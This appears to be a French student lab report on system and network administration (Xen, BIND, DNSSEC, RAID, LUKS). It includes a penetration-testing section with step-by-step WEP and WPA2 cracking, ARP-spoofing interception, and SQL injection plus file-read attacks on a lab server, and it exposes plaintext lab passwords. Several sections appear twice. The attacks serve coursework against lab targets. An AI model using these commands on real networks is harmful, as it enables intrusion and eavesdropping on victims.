@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre masquarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de pouvoir sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton

Nous avons modifié notre fichier /etc/resolv.conf :
nameserver 127.0.0.1

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

=== Installation de docker ===

=== Création de votre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

docker build -t web .

docker run -d -p "8085:80" --name web web

Nous avons ensuite créé un role ansible pour créer un depot local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre depot mais une erreur est surevenue, celle-ci viens du fait qu'il fallait ajouter

TP sysres IMA5sc 2020/2021 G5

2020-12-17T22:45:51Z

Psanchez : /* Création de votre conteneur = */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

